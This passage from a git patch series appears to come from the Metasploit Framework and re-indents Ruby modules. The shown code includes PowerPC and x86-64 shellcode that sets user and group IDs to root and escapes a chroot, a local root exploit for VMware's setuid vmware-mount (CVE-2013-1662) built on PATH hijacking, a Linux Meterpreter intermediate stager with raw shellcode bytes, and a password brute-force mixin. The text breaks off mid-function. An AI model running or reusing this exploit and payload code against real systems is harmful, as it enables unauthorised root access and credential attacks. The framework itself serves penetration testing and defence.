"\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetregid']) + # setregid(0, 0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x84\x22\x78" +# xor r4,r4,r4 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x48" +# addi r0,r31,-440 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x2f" +# addi r0,r31,-465 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['PrependSetgid']) + # setgid(0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x2f" +# addi r0,r31,-465 # + "\x44\xff\xff\x02" # sc # + end - if (datastore['PrependChrootBreak']) - # setreuid(0, 0) - pre << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x84\x22\x78" +# xor r4,r4,r4 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x47" +# addi r0,r31,-441 # - "\x44\xff\xff\x02" # sc # + if (datastore['PrependChrootBreak']) + # setreuid(0, 0) + pre << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x84\x22\x78" +# xor r4,r4,r4 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x47" +# addi r0,r31,-441 # + "\x44\xff\xff\x02" # sc # - # EEK! unsupported... - end + # EEK! unsupported... + end - # Append exit(0) + # Append exit(0) - if (datastore['AppendExit']) - app << "\x3b\xe0\x01\xff" +# li r31,511 # - "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # - "\x38\x1f\xfe\x02" +# addi r0,r31,-510 # - "\x44\xff\xff\x02" # sc # - end + if (datastore['AppendExit']) + app << "\x3b\xe0\x01\xff" +# li r31,511 # + "\x7c\x63\x1a\x78" +# xor r3,r3,r3 # + "\x38\x1f\xfe\x02" +# addi r0,r31,-510 # + "\x44\xff\xff\x02" # sc # + end - elsif (test_arch.include?(ARCH_X86_64)) + elsif (test_arch.include?(ARCH_X86_64)) - if (datastore['PrependFork']) - # if (fork()) { exit(0); } - pre << "\x6a\x39" # push 57 ; __NR_fork # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - pre << "\x48\x85\xc0" # test rax,rax # - pre << "\x74\x08" # jz 0x08 # - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x3c" # push 60 ; __NR_exit # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependFork']) + # if (fork()) { exit(0); } + pre << "\x6a\x39" # push 57 ; __NR_fork # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + pre << "\x48\x85\xc0" # test rax,rax # + pre << "\x74\x08" # jz 0x08 # + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x3c" # push 60 ; __NR_exit # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetresuid']) - # setresuid(0, 0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x6a\x75" # push 0x75 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetresuid']) + # setresuid(0, 0, 0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x48\x89\xfe" # mov rsi,rdi # + pre << "\x6a\x75" # push 0x75 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetreuid']) - # setreuid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf2" # mov rdx,rsi # - pre << "\x6a\x71" # push 0x71 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetreuid']) + # setreuid(0, 0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x48\x89\xfe" # mov rsi,rdi # + pre << "\x48\x89\xf2" # mov rdx,rsi # + pre << "\x6a\x71" # push 0x71 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetuid']) - # setuid(0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x69" # push 0x69 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetuid']) + # setuid(0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x69" # push 0x69 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetresgid']) - # setresgid(0, 0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x6a\x77" # push 0x77 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetresgid']) + # setresgid(0, 0, 0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x48\x89\xfe" # mov rsi,rdi # + pre << "\x6a\x77" # push 0x77 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetregid']) - # setregid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf2" # mov rdx,rsi # - pre << "\x6a\x72" # push 0x72 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetregid']) + # setregid(0, 0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x48\x89\xfe" # mov rsi,rdi # + pre << "\x48\x89\xf2" # mov rdx,rsi # + pre << "\x6a\x72" # push 0x72 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependSetgid']) - # setgid(0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x6a\x6a" # push 0x6a # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - end + if (datastore['PrependSetgid']) + # setgid(0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x6a\x6a" # push 0x6a # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + end - if (datastore['PrependChrootBreak']) + if (datastore['PrependChrootBreak']) - # setreuid(0, 0) - pre << "\x48\x31\xff" # xor rdi,rdi # - pre << "\x48\x89\xfe" # mov rsi,rdi # - pre << "\x48\x89\xf8" # mov rax,rdi # - pre << "\xb0\x71" # mov al,0x71 # - pre << "\x0f\x05" # syscall # + # setreuid(0, 0) + pre << "\x48\x31\xff" # xor rdi,rdi # + pre << "\x48\x89\xfe" # mov rsi,rdi # + pre << "\x48\x89\xf8" # mov rax,rdi # + pre << "\xb0\x71" # mov al,0x71 # + pre << "\x0f\x05" # syscall # - # generate temp dir name - pre << "\x48\xbf" # mov rdi, # - pre << Rex::Text.rand_text_alpha(8) # random # - pre << "\x56" # push rsi # - pre << "\x57" # push rdi # + # generate temp dir name + pre << "\x48\xbf" # mov rdi, # + pre << Rex::Text.rand_text_alpha(8) # random # + pre << "\x56" # push rsi # + pre << "\x57" # push rdi # - # mkdir(random,0755) - pre << "\x48\x89\xe7" # mov rdi,rsp # - pre << "\x66\xbe\xed\x01" # mov si,0755 # - pre << "\x6a\x53" # push 0x53 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # + # mkdir(random,0755) + pre << "\x48\x89\xe7" # mov rdi,rsp # + pre << "\x66\xbe\xed\x01" # mov si,0755 # + pre << "\x6a\x53" # push 0x53 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # - # chroot(random) - pre << "\x48\x31\xd2" # xor rdx,rdx # - pre << "\xb2\xa1" # mov dl,0xa1 # - pre << "\x48\x89\xd0" # mov rax,rdx # - pre << "\x0f\x05" # syscall # + # chroot(random) + pre << "\x48\x31\xd2" # xor rdx,rdx # + pre << "\xb2\xa1" # mov dl,0xa1 # + pre << "\x48\x89\xd0" # mov rax,rdx # + pre << "\x0f\x05" # syscall # - # build .. (ptr in rdi ) - pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e # - pre << "\x56" # push rsi # - pre << "\x48\x89\xe7" # mov rdi,rsp # + # build .. (ptr in rdi ) + pre << "\x66\xbe\x2e\x2e" # mov si,0x2e2e # + pre << "\x56" # push rsi # + pre << "\x48\x89\xe7" # mov rdi,rsp # - # loop chdir(..) 69 times - # syscall tend to modify rcx can't use loop... - pre << "\x6a\x45" # push 0x45 # - pre << "\x5b" # pop rbx # - pre << "\x6a\x50" # push 0x50 # - pre << "\x58" # pop rax # - pre << "\x0f\x05" # syscall # - pre << "\xfe\xcb" # dec bl # - pre << "\x75\xf7" # jnz -7 # + # loop chdir(..) 69 times + # syscall tend to modify rcx can't use loop... + pre << "\x6a\x45" # push 0x45 # + pre << "\x5b" # pop rbx # + pre << "\x6a\x50" # push 0x50 # + pre << "\x58" # pop rax # + pre << "\x0f\x05" # syscall # + pre << "\xfe\xcb" # dec bl # + pre << "\x75\xf7" # jnz -7 # - # chroot (.) (which should be /) - pre << "\x6a\x2e" # push . (0x2e) # - pre << "\x48\x89\xe7" # mov rdi,rsp # - pre << "\x48\x89\xd0" # mov rax,rdx # - pre << "\x0f\x05" # syscall # + # chroot (.) (which should be /) + pre << "\x6a\x2e" # push . (0x2e) # + pre << "\x48\x89\xe7" # mov rdi,rsp # + pre << "\x48\x89\xd0" # mov rax,rdx # + pre << "\x0f\x05" # syscall # - end + end - # Append exit(0) - if (datastore['AppendExit']) - app << "\x48\x31\xff" # xor rdi,rdi # - app << "\x6a\x3c" # push 0x3c # - app << "\x58" # pop rax # - app << "\x0f\x05" # syscall # - end - end + # Append exit(0) + if (datastore['AppendExit']) + app << "\x48\x31\xff" # xor rdi,rdi # + app << "\x6a\x3c" # push 0x3c # + app << "\x58" # pop rax # + app << "\x0f\x05" # syscall # + end + end - return (pre + buf + app) - end + return (pre + buf + app) + end end diff --git a/modules/exploits/linux/local/vmware_mount.rb b/modules/exploits/linux/local/vmware_mount.rb index 59595518cb..0afde87640 100644 --- a/modules/exploits/linux/local/vmware_mount.rb +++ b/modules/exploits/linux/local/vmware_mount.rb @@ -16,48 +16,48 @@ class Metasploit4 < Msf::Exploit::Local include Msf::Post::Common include Msf::Post::File - def initialize(info={}) - super( update_info( info, { - 'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)', - 'Description' => %q{ - VMWare Workstation (up to and including 9.0.2 build-1031769) - and Player have a setuid executable called vmware-mount that - invokes lsb_release in the PATH with popen(3). Since PATH is - user-controlled, and the default system shell on - Debian-derived distributions does not drop privs, we can put - an arbitrary payload in an executable called lsb_release and - have vmware-mount happily execute it as root for us. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Tavis Ormandy', # Vulnerability discovery and PoC - 'egypt' # Metasploit module - ], - 'Platform' => [ 'linux' ], - 'Arch' => ARCH_X86, - 'Targets' => - [ - [ 'Automatic', { } ], - ], - 'DefaultOptions' => { - "PrependSetresuid" => true, - "PrependSetresgid" => true, - "PrependFork" => true, - }, - 'Privileged' => true, - 'DefaultTarget' => 0, - 'References' => [ - [ 'CVE', '2013-1662' ], - [ 'OSVDB', '96588' ], - [ 'BID', '61966'], - [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], - [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] - ], - 'DisclosureDate' => "Aug 22 2013" - } - )) - end + def initialize(info={}) + super( update_info( info, { + 'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)', + 'Description' => %q{ + VMWare Workstation (up to and including 9.0.2 build-1031769) + and Player have a setuid executable called vmware-mount that + invokes lsb_release in the PATH with popen(3). Since PATH is + user-controlled, and the default system shell on + Debian-derived distributions does not drop privs, we can put + an arbitrary payload in an executable called lsb_release and + have vmware-mount happily execute it as root for us. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Tavis Ormandy', # Vulnerability discovery and PoC + 'egypt' # Metasploit module + ], + 'Platform' => [ 'linux' ], + 'Arch' => ARCH_X86, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultOptions' => { + "PrependSetresuid" => true, + "PrependSetresgid" => true, + "PrependFork" => true, + }, + 'Privileged' => true, + 'DefaultTarget' => 0, + 'References' => [ + [ 'CVE', '2013-1662' ], + [ 'OSVDB', '96588' ], + [ 'BID', '61966'], + [ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ], + [ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ] + ], + 'DisclosureDate' => "Aug 22 2013" + } + )) + end def check if setuid?("/usr/bin/vmware-mount") @@ -72,7 +72,7 @@ class Metasploit4 < Msf::Exploit::Local fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid") end - write_file("lsb_release", generate_payload_exe) + write_file("lsb_release", generate_payload_exe) cmd_exec("chmod +x lsb_release") cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount") diff --git a/modules/payloads/stages/linux/x64/shell.rb b/modules/payloads/stages/linux/x64/shell.rb index b27e893834..b0983f2b89 100644 --- a/modules/payloads/stages/linux/x64/shell.rb +++ b/modules/payloads/stages/linux/x64/shell.rb @@ -11,8 +11,8 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 - include Msf::Payload::Linux - include Msf::Sessions::CommandShellOptions + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 71a0b9289b..92d01194c1 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -11,96 +11,96 @@ require 'msf/base/sessions/meterpreter_options' require 'rex/elfparsey' module Metasploit3 - include Msf::Sessions::MeterpreterOptions + include Msf::Sessions::MeterpreterOptions - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Linux Meterpreter', - 'Description' => 'Staged meterpreter server', - 'Author' => ['PKS', 'egypt'], - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - 'License' => MSF_LICENSE, - 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linux Meterpreter', + 'Description' => 'Staged meterpreter server', + 'Author' => ['PKS', 'egypt'], + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'License' => MSF_LICENSE, + 'Session' => Msf::Sessions::Meterpreter_x86_Linux)) - register_options([ - OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) - ], self.class) - end + register_options([ + OptInt.new('DebugOptions', [ false, "Debugging options for POSIX meterpreter", 0 ]) + ], self.class) + end - def elf_ep(payload) - elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) - ep = elf.elf_header.e_entry - return ep - end + def elf_ep(payload) + elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) + ep = elf.elf_header.e_entry + return ep + end - def elf2bin(payload) - # XXX, not working. Use .c version + def elf2bin(payload) + # XXX, not working. Use .c version - # This code acts as a mini elf parser / memory layout linker. - # It will return what a elf file looks like once loaded in memory + # This code acts as a mini elf parser / memory layout linker. + # It will return what a elf file looks like once loaded in memory - mem = "\x00" * (4 * 1024 * 1024) - used = 0 + mem = "\x00" * (4 * 1024 * 1024) + used = 0 - elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) + elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) ) - elf.program_header.each { |hdr| - if(hdr.p_type == Rex::ElfParsey::ElfBase::PT_LOAD) - print_status("Found PT_LOAD") - fileidx = hdr.p_offset & (~4095) - memidx = (hdr.p_vaddr & (~4095)) - elf.base_addr - len = hdr.p_filesz + (hdr.p_vaddr & 4095) + elf.program_header.each { |hdr| + if(hdr.p_type == Rex::ElfParsey::ElfBase::PT_LOAD) + print_status("Found PT_LOAD") + fileidx = hdr.p_offset & (~4095) + memidx = (hdr.p_vaddr & (~4095)) - elf.base_addr + len = hdr.p_filesz + (hdr.p_vaddr & 4095) - mem[memidx,memidx+len] = payload[fileidx,fileidx+len] # should result in a single memcpy call :D - used += (hdr.p_memsz + (hdr.p_vaddr & 4095) + 4095) & ~4095 - end - } + mem[memidx,memidx+len] = payload[fileidx,fileidx+len] # should result in a single memcpy call :D + used += (hdr.p_memsz + (hdr.p_vaddr & 4095) + 4095) & ~4095 + end + } - # Maybe at some stage zero out elf header / program headers in case tools - # try to look for them + # Maybe at some stage zero out elf header / program headers in case tools + # try to look for them - print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") - return mem[0, used] - end + print_status("Converted ELF file to memory layout, #{payload.length} to #{used} bytes") + return mem[0, used] + end - def handle_intermediate_stage(conn, payload) - # Does a mmap() / read() loop of a user specified length, then - # jumps to the entry point (the \x5a's) + def handle_intermediate_stage(conn, payload) + # Does a mmap() / read() loop of a user specified length, then + # jumps to the entry point (the \x5a's) - midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp + midstager = "\x81\xc4\x54\xf2\xff\xff" # fix up esp - midstager << - "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + - "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + - "\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" + - "\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" + - "\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" + - "\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" + - "\xd1\xff\xff\xff" + midstager << + "\x6a\x04\x5a\x89\xe1\x89\xfb\x6a\x03\x58" + + "\xcd\x80\x57\xb8\xc0\x00\x00\x00\xbb\x00\x00\x04\x20\x8b\x4c\x24" + + "\x04\x6a\x07\x5a\x6a\x32\x5e\x31\xff\x89\xfd\x4f\xcd\x80\x3d\x7f" + + "\xff\xff\xff\x72\x05\x31\xc0\x40\xcd\x80\x87\xd1\x87\xd9\x5b\x6a" + + "\x03\x58\xcd\x80\x3d\x7f\xff\xff\xff\x77\xea\x85\xc0\x74\xe6\x01" + + "\xc1\x29\xc2\x75\xea\x6a\x59\x53\xb8\x5a\x5a\x5a\x5a\xff\xd0\xe9" + + "\xd1\xff\xff\xff" - # Patch in debug options - midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C')) + # Patch in debug options + midstager = midstager.sub("Y", [ datastore['DebugOptions'] ].pack('C')) - # Patch entry point - midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V')) + # Patch entry point + midstager = midstager.sub("ZZZZ", [ elf_ep(payload) ].pack('V')) - # Maybe in the future patch in base. + # Maybe in the future patch in base. - print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") - conn.put(midstager) - Rex::ThreadSafe.sleep(1.5) + print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)") + conn.put(midstager) + Rex::ThreadSafe.sleep(1.5) - # Send length of payload - conn.put([ payload.length ].pack('V')) - return true + # Send length of payload + conn.put([ payload.length ].pack('V')) + return true - end + end - def generate_stage - #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") - file = File.join(Msf::Config.install_root, "data", "meterpreter", "msflinker_linux_x86.bin") + def generate_stage + #file = File.join(Msf::Config.data_directory, "msflinker_linux_x86.elf") + file = File.join(Msf::Config.install_root, "data", "meterpreter", "msflinker_linux_x86.bin") met = File.open(file, "rb") {|f| f.read(f.stat.size) diff --git a/modules/payloads/stages/linux/x86/shell.rb b/modules/payloads/stages/linux/x86/shell.rb index 02e02bc8b6..0f90ab7c12 100644 --- a/modules/payloads/stages/linux/x86/shell.rb +++ b/modules/payloads/stages/linux/x86/shell.rb @@ -10,8 +10,8 @@ require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' module Metasploit3 - include Msf::Payload::Linux - include Msf::Sessions::CommandShellOptions + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions def initialize(info = {}) super(merge_info(info, From abb52a086ce070c587180fbbf0f6188b41d829e7 Mon Sep 17 00:00:00 2001 From: Tab Assassin Date: Thu, 5 Sep 2013 13:33:59 -0500 Subject: [PATCH 078/160] Retab changes for PR #2316 --- lib/msf/core/auxiliary/auth_brute.rb | 1012 ++++++++--------- lib/msf/core/auxiliary/login.rb | 392 +++---- .../scanner/rservices/rlogin_login.rb | 650 +++++------ .../auxiliary/scanner/telnet/telnet_login.rb | 406 +++---- 4 files changed, 1230 insertions(+), 1230 deletions(-) diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index b9ddb885f6..6de6500bf7 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -9,565 +9,565 @@ module Msf module Auxiliary::AuthBrute - def initialize(info = {}) - super + def initialize(info = {}) + super - register_options([ - OptString.new('USERNAME', [ false, 'A specific username to authenticate as' ]), - OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ]), - OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]), - OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]), - OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), - OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), - OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), - OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), - OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), - OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",true]), - OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]), - OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]), - OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]), - ], Auxiliary::AuthBrute) + register_options([ + OptString.new('USERNAME', [ false, 'A specific username to authenticate as' ]), + OptString.new('PASSWORD', [ false, 'A specific password to authenticate with' ]), + OptPath.new('USER_FILE', [ false, "File containing usernames, one per line" ]), + OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line" ]), + OptPath.new('USERPASS_FILE', [ false, "File containing users and passwords separated by space, one pair per line" ]), + OptInt.new('BRUTEFORCE_SPEED', [ true, "How fast to bruteforce, from 0 to 5", 5]), + OptBool.new('VERBOSE', [ true, "Whether to print output for all attempts", true]), + OptBool.new('BLANK_PASSWORDS', [ false, "Try blank passwords for all users", true]), + OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", true]), + OptBool.new('DB_ALL_CREDS', [false,"Try each user/password couple stored in the current database",true]), + OptBool.new('DB_ALL_USERS', [false,"Add all users in the current database to the list",false]), + OptBool.new('DB_ALL_PASS', [false,"Add all passwords in the current database to the list",false]), + OptBool.new('STOP_ON_SUCCESS', [ true, "Stop guessing when a credential works for a host", false]), + ], Auxiliary::AuthBrute) - register_advanced_options([ - OptBool.new('REMOVE_USER_FILE', [ true, "Automatically delete the USER_FILE on module completion", false]), - OptBool.new('REMOVE_PASS_FILE', [ true, "Automatically delete the PASS_FILE on module completion", false]), - OptBool.new('REMOVE_USERPASS_FILE', [ true, "Automatically delete the USERPASS_FILE on module completion", false]), - OptInt.new('MaxGuessesPerService', [ false, "Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@guesses_per_service - OptInt.new('MaxMinutesPerService', [ false, "Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@brute_start_time - OptInt.new('MaxGuessesPerUser', [ false, %q{ - Maximum guesses for a particular username for the service instance. - Note that users are considered unique among different services, so a - user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both will - be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, - this option will not be used.}.gsub(/[\t\r\n\s]+/nm,"\s"), 0]) # Tracked in @@brute_start_time - ], Auxiliary::AuthBrute) + register_advanced_options([ + OptBool.new('REMOVE_USER_FILE', [ true, "Automatically delete the USER_FILE on module completion", false]), + OptBool.new('REMOVE_PASS_FILE', [ true, "Automatically delete the PASS_FILE on module completion", false]), + OptBool.new('REMOVE_USERPASS_FILE', [ true, "Automatically delete the USERPASS_FILE on module completion", false]), + OptInt.new('MaxGuessesPerService', [ false, "Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@guesses_per_service + OptInt.new('MaxMinutesPerService', [ false, "Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.", 0]), # Tracked in @@brute_start_time + OptInt.new('MaxGuessesPerUser', [ false, %q{ + Maximum guesses for a particular username for the service instance. + Note that users are considered unique among different services, so a + user at 10.1.1.1:22 is different from one at 10.2.2.2:22, and both will + be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, + this option will not be used.}.gsub(/[\t\r\n\s]+/nm,"\s"), 0]) # Tracked in @@brute_start_time + ], Auxiliary::AuthBrute) - end + end - def setup - @@max_per_service = nil - end + def setup + @@max_per_service = nil + end - # Checks all three files for usernames and passwords, and combines them into - # one credential list to apply against the supplied block. The block (usually - # something like do_login(user,pass) ) is responsible for actually recording - # success and failure in its own way; each_user_pass() will only respond to - # a return value of :done (which will signal to end all processing) and - # to :next_user (which will cause that username to be skipped for subsequent - # password guesses). Other return values won't affect the processing of the - # list. - # - # The 'noconn' argument should be set to true if each_user_pass is merely - # iterating over the usernames and passwords and should not respect - # bruteforce_speed as a delaying factor. - def each_user_pass(noconn=false,&block) - this_service = [datastore['RHOST'],datastore['RPORT']].join(":") - fq_rest = [this_service,"all remaining users"].join(":") + # Checks all three files for usernames and passwords, and combines them into + # one credential list to apply against the supplied block. The block (usually + # something like do_login(user,pass) ) is responsible for actually recording + # success and failure in its own way; each_user_pass() will only respond to + # a return value of :done (which will signal to end all processing) and + # to :next_user (which will cause that username to be skipped for subsequent + # password guesses). Other return values won't affect the processing of the + # list. + # + # The 'noconn' argument should be set to true if each_user_pass is merely + # iterating over the usernames and passwords and should not respect + # bruteforce_speed as a delaying factor. + def each_user_pass(noconn=false,&block) + this_service = [datastore['RHOST'],datastore['RPORT']].join(":") + fq_rest = [this_service,"all remaining users"].join(":") - # This should kinda halfway be in setup, halfway in run... need to - # revisit this. - unless credentials ||= false # Assignment and comparison! - credentials ||= build_credentials_array() - credentials = adjust_credentials_by_max_user(credentials) - this_service = [datastore['RHOST'],datastore['RPORT']].join(":") - initialize_class_variables(this_service,credentials) - end + # This should kinda halfway be in setup, halfway in run... need to + # revisit this. + unless credentials ||= false # Assignment and comparison! + credentials ||= build_credentials_array() + credentials = adjust_credentials_by_max_user(credentials) + this_service = [datastore['RHOST'],datastore['RPORT']].join(":") + initialize_class_variables(this_service,credentials) + end - credentials.each do |u, p| - # Explicitly be able to set a blank (zero-byte) username by setting the - # username to . It's up to the caller to handle this if it's not - # allowed or if there's any special handling needed (such as smb_login). - u = "" if u =~ /^$/i - break if @@credentials_skipped[fq_rest] + credentials.each do |u, p| + # Explicitly be able to set a blank (zero-byte) username by setting the + # username to . It's up to the caller to handle this if it's not + # allowed or if there's any special handling needed (such as smb_login). + u = "" if u =~ /^$/i + break if @@credentials_skipped[fq_rest] - fq_user = [this_service,u].join(":") + fq_user = [this_service,u].join(":") - # Set noconn to indicate that in this case, each_user_pass - # is not actually kicking off a connection, so the - # bruteforce_speed datastore should be ignored. - if not noconn - userpass_sleep_interval unless @@credentials_tried.empty? - end + # Set noconn to indicate that in this case, each_user_pass + # is not actually kicking off a connection, so the + # bruteforce_speed datastore should be ignored. + if not noconn + userpass_sleep_interval unless @@credentials_tried.empty? + end - next if @@credentials_skipped[fq_user] - next if @@credentials_tried[fq_user] == p + next if @@credentials_skipped[fq_user] + next if @@credentials_tried[fq_user] == p - ret = block.call(u, p) + ret = block.call(u, p) - case ret - when :abort # Skip the current host entirely. - abort_msg = { - :level => :error, - :ip => datastore['RHOST'], - :port => datastore['RPORT'], - :msg => "Bruteforce cancelled against this service." - } - unless datastore['VERBOSE'] - abort_msg[:msg] << " Enable verbose output for service-specific details." - end - print_brute abort_msg - break + case ret + when :abort # Skip the current host entirely. + abort_msg = { + :level => :error, + :ip => datastore['RHOST'], + :port => datastore['RPORT'], + :msg => "Bruteforce cancelled against this service." + } + unless datastore['VERBOSE'] + abort_msg[:msg] << " Enable verbose output for service-specific details." + end + print_brute abort_msg + break - when :next_user # This means success for that user. - @@credentials_skipped[fq_user] = p - if datastore['STOP_ON_SUCCESS'] # See? - @@credentials_skipped[fq_rest] = true - end + when :next_user # This means success for that user. + @@credentials_skipped[fq_user] = p + if datastore['STOP_ON_SUCCESS'] # See? + @@credentials_skipped[fq_rest] = true + end - when :skip_user # Skip the user in non-success cases. - @@credentials_skipped[fq_user] = p + when :skip_user # Skip the user in non-success cases. + @@credentials_skipped[fq_user] = p - when :connection_error # Report an error, skip this cred, but don't neccisarily abort. - print_brute( - :level => :verror, - :ip => datastore['RHOST'], - :port => datastore['RPORT'], - :msg => 